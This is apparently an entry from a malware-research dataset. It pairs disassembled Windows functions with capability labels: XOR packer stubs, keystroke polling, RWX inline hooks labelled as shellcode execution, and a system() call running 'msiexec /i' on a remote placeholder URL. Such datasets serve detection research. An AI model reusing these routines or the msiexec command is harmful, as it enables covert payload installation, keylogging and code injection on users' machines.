joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x6cbf7e92
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..text
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x26f376e0
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x10001000
Capabilities:
Execute command

Disassembly:
push str.msiexec__i_http:__unexisted.domain.local_123.msi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov eax, 1
ret 0xc
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x28c328c4
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x34713485
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10027d60
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x1005d040]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
mov ebx, dword [0x1005eab0]
lea eax, [esp + 0x10]
push esi
push edi
push eax
push dword [0x1005eb44]
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x20]
sub eax, dword [esp + 0x18]
movd xmm1, eax
mov eax, dword [esp + 0x24]
sub eax, dword [esp + 0x1c]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
lea eax, [esp + 0x30]
cvtdq2ps xmm0, xmm0
push eax
movss dword [ebx + 0x10], xmm1
movss dword [ebx + 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edi, dword [esp + 0x30]
mov ecx, edi
sub ecx, dword [0x1005eb48]
mov esi, dword [esp + 0x34]
mov edx, esi
sbb edx, dword [0x1005eb4c]
call fcn.1004b3d0
mov edx, dword [0x1005eb54]
mov ecx, dword [0x1005eb50]
movss dword [esp + 0x28], xmm0
call fcn.1004b3d0
movss xmm1, dword [esp + 0x28]
divss xmm1, xmm0
push 0x11
movss dword [ebx + 0x18], xmm1
mov dword [0x1005eb4c], esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
mov dword [0x1005eb48], edi
call esi
shr eax, 0xf
and al, 1
push 0x10
mov byte [ebx + 0xdd0], al
call esi
shr eax, 0xf
and al, 1
push 0x12
mov byte [ebx + 0xdd1], al
call esi
mov ecx, dword [0x1005eab0]
shr eax, 0xf
and al, 1
mov byte [ebx + 0xdd3], 0
mov byte [ebx + 0xdd2], al
cmp byte [ecx + 0x97], 0
lea esi, [ecx + 0xdb8]
je 0x10027e92
cvttss2si eax, dword [esi]
mov dword [esp + 0x28], eax
cvttss2si eax, dword [ecx + 0xdbc]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x28]
push eax
push dword [0x1005eb44]
call dword [sym.imp.USER32.dll_ClientToScreen]
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call dword [sym.imp.USER32.dll_SetCursorPos]
mov dword [esi], 0xff7fffff
mov dword [esi + 4], 0xff7fffff
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x10027efe
mov ecx, dword [0x1005eb44]
cmp eax, ecx
je 0x10027ebf
push ecx
push eax
call dword [sym.imp.USER32.dll_IsChild]
test eax, eax
je 0x10027efe
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x10027efe
lea eax, [esp + 0x10]
push eax
push dword [0x1005eb44]
call dword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x10027efe
movd xmm0, dword [esp + 0x10]
movd xmm1, dword [esp + 0x14]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [esi], xmm0
movss dword [esi + 4], xmm1
cmp byte [ebx + 0x60], 0
je 0x10027f09
or eax, 0xffffffff
jmp 0x10027f14
mov eax, dword [0x1005eab0]
mov eax, dword [eax + 0x492c]
cmp dword [0x1005d2c8], eax
je 0x10027f26
mov dword [0x1005d2c8], eax
call fcn.100279b0
call fcn.10027ae0
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10049dfd
mov esp, ebp
pop ebp
ret

Function at 0x10030a70
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x10030aa1
nop dword [eax]
movzx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x10030a90
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x100311e0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov eax, 0x1fffffff
mov esi, 1
push edi
mov edi, ecx
bsr ecx, eax
mov eax, esi
mov dword [ebp - 0x10], edi
shl eax, cl
mov ecx, dword [ebp + 8]
cmp ecx, eax
jbe 0x10031211
push str.invalid_hash_bucket_count
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ecx - 1]
mov ebx, dword [edi + 4]
or eax, 1
mov dword [ebp - 8], ebx
bsr ecx, eax
push ebx
lea ecx, [ecx + 1]
shl esi, cl
lea ecx, [edi + 0xc]
lea eax, [esi + esi]
push eax
call fcn.100310e0
lea eax, [esi - 1]
mov dword [edi + 0x1c], esi
mov dword [edi + 0x18], eax
mov edi, dword [edi + 4]
mov edi, dword [edi]
cmp edi, ebx
je 0x10031331
mov esi, edi
nop word [eax + eax]
cmp dword [esi + 0x1c], 0xf
lea ebx, [esi + 8]
mov edi, dword [edi]
mov ecx, dword [esi + 0x18]
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], ecx
jbe 0x10031267
mov ebx, dword [esi + 8]
xor ecx, ecx
mov edx, 0x811c9dc5
cmp dword [esi + 0x18], ecx
jbe 0x1003128a
mov edi, dword [ebp - 4]
movzx eax, byte [ebx + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, edi
jb 0x10031276
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x18]
mov eax, dword [eax + 0xc]
and ecx, edx
lea eax, [eax + ecx*8]
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], eax
cmp dword [eax], ecx
jne 0x100312a9
mov dword [eax], esi
mov dword [eax + 4], esi
jmp 0x10031326
mov ebx, dword [eax + 4]
lea ecx, [esi + 8]
lea edx, [ebx + 8]
call fcn.100318f0
test al, al
je 0x100312e1
mov ebx, dword [ebx]
cmp ebx, esi
je 0x100312d9
mov edx, dword [esi + 4]
mov dword [edx], edi
mov ecx, dword [edi + 4]
mov dword [ecx], ebx
mov eax, dword [ebx + 4]
mov dword [eax], esi
mov dword [ebx + 4], ecx
mov dword [edi + 4], edx
mov dword [esi + 4], eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], esi
jmp 0x10031326
mov eax, dword [ebp - 4]
cmp dword [eax], ebx
je 0x10031309
nop dword [eax + eax]
mov ebx, dword [ebx + 4]
lea ecx, [esi + 8]
lea edx, [ebx + 8]
call fcn.100318f0
test al, al
jne 0x1003133a
mov eax, dword [ebp - 4]
cmp dword [eax], ebx
jne 0x100312f0
mov edx, dword [esi + 4]
mov dword [edx], edi
mov ecx, dword [edi + 4]
mov dword [ecx], ebx
mov eax, dword [ebx + 4]
mov dword [eax], esi
mov dword [ebx + 4], ecx
mov dword [edi + 4], edx
mov dword [esi + 4], eax
mov eax, dword [ebp - 4]
mov dword [eax], esi
mov esi, edi
cmp edi, dword [ebp - 8]
jne 0x10031250
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [esi + 4]
mov ebx, dword [ebx]
mov dword [edx], edi
mov ecx, dword [edi + 4]
mov dword [ecx], ebx
mov eax, dword [ebx + 4]
mov dword [eax], esi
mov dword [ebx + 4], ecx
mov dword [edi + 4], edx
mov dword [esi + 4], eax
jmp 0x10031326
Function at 0x10031f40
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004bd73
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1005d040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x14], edi
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
lea edx, [edi + 0x40]
mov dword [edx], 0
mov dword [edx + 4], 0
mov dword [edx + 8], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x20]
mov byte [ebp - 4], 2
mov dword [edi + 0x50], eax
mov eax, dword [ebp + 8]
mov dword [edi + 0x54], eax
mov eax, dword [ebp + 0x1c]
mov dword [edi + 0x5c], eax
mov eax, dword [ebp + 0x18]
mov dword [edi + 0x58], esi
mov dword [edi + 0x60], ecx
mov byte [edi + 0x64], 0
mov dword [edi + 0x68], eax
test byte [esi + 8], 8
je 0x1003202b
test cl, 0x10
jne 0x1003202b
mov al, 1
jmp 0x1003202d
xor al, al
mov byte [edi + 0x6c], al
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x70], eax
mov ebx, dword [edx + 4]
mov ecx, ebx
mov esi, dword [esi + 0x18]
sar ecx, 3
cmp esi, ecx
jae 0x10032051
lea ecx, [esi*8]
mov dword [edx + 4], ecx
jmp 0x10032083
jbe 0x10032083
mov eax, dword [edx + 8]
sar eax, 3
cmp esi, eax
jbe 0x10032068
push ecx
push esi
mov ecx, edx
call fcn.100339d0
jmp 0x10032083
sub esi, ecx
je 0x10032080
shl esi, 3
push esi
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea edx, [edi + 0x40]
add ebx, esi
mov dword [edx + 4], ebx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x100386f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1005d040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.xxxxxxxxxxx
mov edx, 0x10054168
call fcn.10037d70
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push 7
lea ecx, [esi + 7]
push esi
mov dword [0x1005eaf0], ecx
call edi
mov eax, 0x10038670
mov ebx, 0x9090
sub eax, esi
mov word [esi + 5], bx
sub eax, 5
mov byte [esi], 0xe9
mov dword [esi + 1], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 7
push esi
call edi
push str.xxxxxxxxx
mov edx, 0x1005418c
call fcn.10037d70
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push 7
lea ecx, [esi + 7]
push esi
mov dword [0x1005eae8], ecx
call edi
mov eax, 0x10038690
mov word [esi + 5], bx
sub eax, esi
mov byte [esi], 0xe9
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 7
push esi
call edi
push str.xxxxxx
mov edx, 0x100541a0
call fcn.10037d70
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push 6
lea ecx, [esi + 6]
push esi
mov dword [0x1005eac8], ecx
call edi
mov eax, 0x100386b0
mov byte [esi + 5], 0x90
sub eax, esi
mov byte [esi], 0xe9
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 6
push esi
call edi
push str.xxxxxxxxx
mov edx, 0x100541a8
call fcn.10037d70
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push 6
lea ecx, [esi + 6]
push esi
mov dword [0x1005eae0], ecx
call edi
mov eax, 0x100386d0
mov byte [esi + 5], 0x90
sub eax, esi
mov byte [esi], 0xe9
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 6
push esi
call edi
push str.xxxxxx
mov edx, 0x100541b4
call fcn.10037d70
push str.xxxxxx
mov edx, 0x100541bc
mov dword [0x1005eafc], eax
call fcn.10037d70
push str.xxxxxx
mov edx, 0x100541c4
mov dword [0x1005ead8], eax
call fcn.10037d70
push str.xxxxxxx
mov edx, 0x100541d4
mov dword [0x1005ead4], eax
call fcn.10037d70
push str.xxxxxx
mov edx, 0x100541dc
mov dword [0x1005eac4], eax
call fcn.10037d70
push str.xxxxxx
mov edx, 0x100541e4
mov dword [0x1005eac0], eax
call fcn.10037d70
push str.xxxxx
mov edx, 0x100541f4
mov dword [0x1005eacc], eax
call fcn.10037d70
push str.xxxxxxxx
mov edx, 0x10054208
mov dword [0x1005eae4], eax
call fcn.10037d70
push str.xxxxxxx
mov edx, 0x10054214
mov dword [0x1005eaec], eax
call fcn.10037d70
push str.xxxxx
mov edx, 0x1005421c
mov dword [0x1005eaf4], eax
call fcn.10037d70
push str.xxxxxx
mov edx, 0x10054224
mov dword [0x1005ead0], eax
call fcn.10037d70
push str.xxxxxxxx
mov edx, 0x1005422c
mov dword [0x1005eb04], eax
call fcn.10037d70
mov ecx, dword [ebp - 4]
add esp, 0x30
xor ecx, ebp
mov dword [0x1005eb08], eax
pop edi
pop esi
pop ebx
call fcn.10049dfd
mov esp, ebp
pop ebp
ret
Function at 0x1003b0e0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x240
mov eax, dword [0x1005d040]
xor eax, esp
mov dword [esp + 0x23c], eax
push 0x100
lea eax, [esp + 0x3c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x1003b326
xorps xmm0, xmm0
mov dword [esp + 0x20], 0
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x10], xmm0
mov dword [esp + 0x24], 0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1003b132
sub ecx, edx
lea eax, [esp + 0x38]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x18]
call fcn.10045ef0
push 0
push str.___
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push 0x10054688
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push 0x10054694
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push 0x100546a0
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push 0x100546ac
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push str.GZ_1stScan
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push str.GZ_NxtScan
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push str.FIRST
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push str.NEXT
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push str.Next_Scan
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push str.First_Scan
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push str.bossb_View
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push str.Memory_View
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push 0x10054760
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push str.scan
lea ecx, [esp + 0x18]
call fcn.10044d20
cmp eax, 0xffffffff
jne 0x1003b2cd
push 0
push 0x10054760
lea ecx, [esp + 0x18]
call fcn.10044d20
mov byte [esp + 0xf], 0
cmp eax, 0xffffffff
je 0x1003b2d2
mov byte [esp + 0xf], 1
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x1003b310
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1003b306
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1003b306
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1004a23a
add esp, 8
mov al, byte [esp + 0xf]
mov ecx, dword [esp + 0x23c]
xor ecx, esp
call fcn.10049dfd
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x23c]
xor al, al
xor ecx, esp
call fcn.10049dfd
mov esp, ebp
pop ebp
ret
Function at 0x10043e80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x10043eac
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x10043ed4
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x10043eda
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x10043f64
jg 0x10043ef1
test esi, esi
je 0x10043f64
test ecx, ecx
jl 0x10043f47
jg 0x10043efb
test eax, eax
je 0x10043f47
cmp edi, ecx
jg 0x10043f0f
jl 0x10043f05
cmp esi, eax
jae 0x10043f0f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [ebp + 8]
add edx, ecx
sub esi, ecx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x10043f64
jg 0x10043f4a
test esi, esi
je 0x10043f64
jmp 0x10043f4a
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10043f64
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10043f80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x10043fac
jl 0x10043fa0
test ecx, ecx
jne 0x10043fac
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10043fc5
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x1004400d
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x10044013
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push dword [ebp - 4]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x10044013
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x10044086
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1004403c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x10044074
nop dword [eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x10044086
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x10044050
test edi, edi
je 0x10044086
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10044400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1005d040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10044430
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10049dfd
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x1004446c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x1004446c
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10049dfd
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x10044543
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10044494
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100444a0
movsx eax, bl
jmp 0x100444d8
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x10044502
sub eax, 1
je 0x10044502
sub eax, 2
jne 0x10044543
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmove ebx, ecx
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10049dfd
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10044520
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10044543
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10049dfd
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10049dfd
mov esp, ebp
pop ebp
ret 4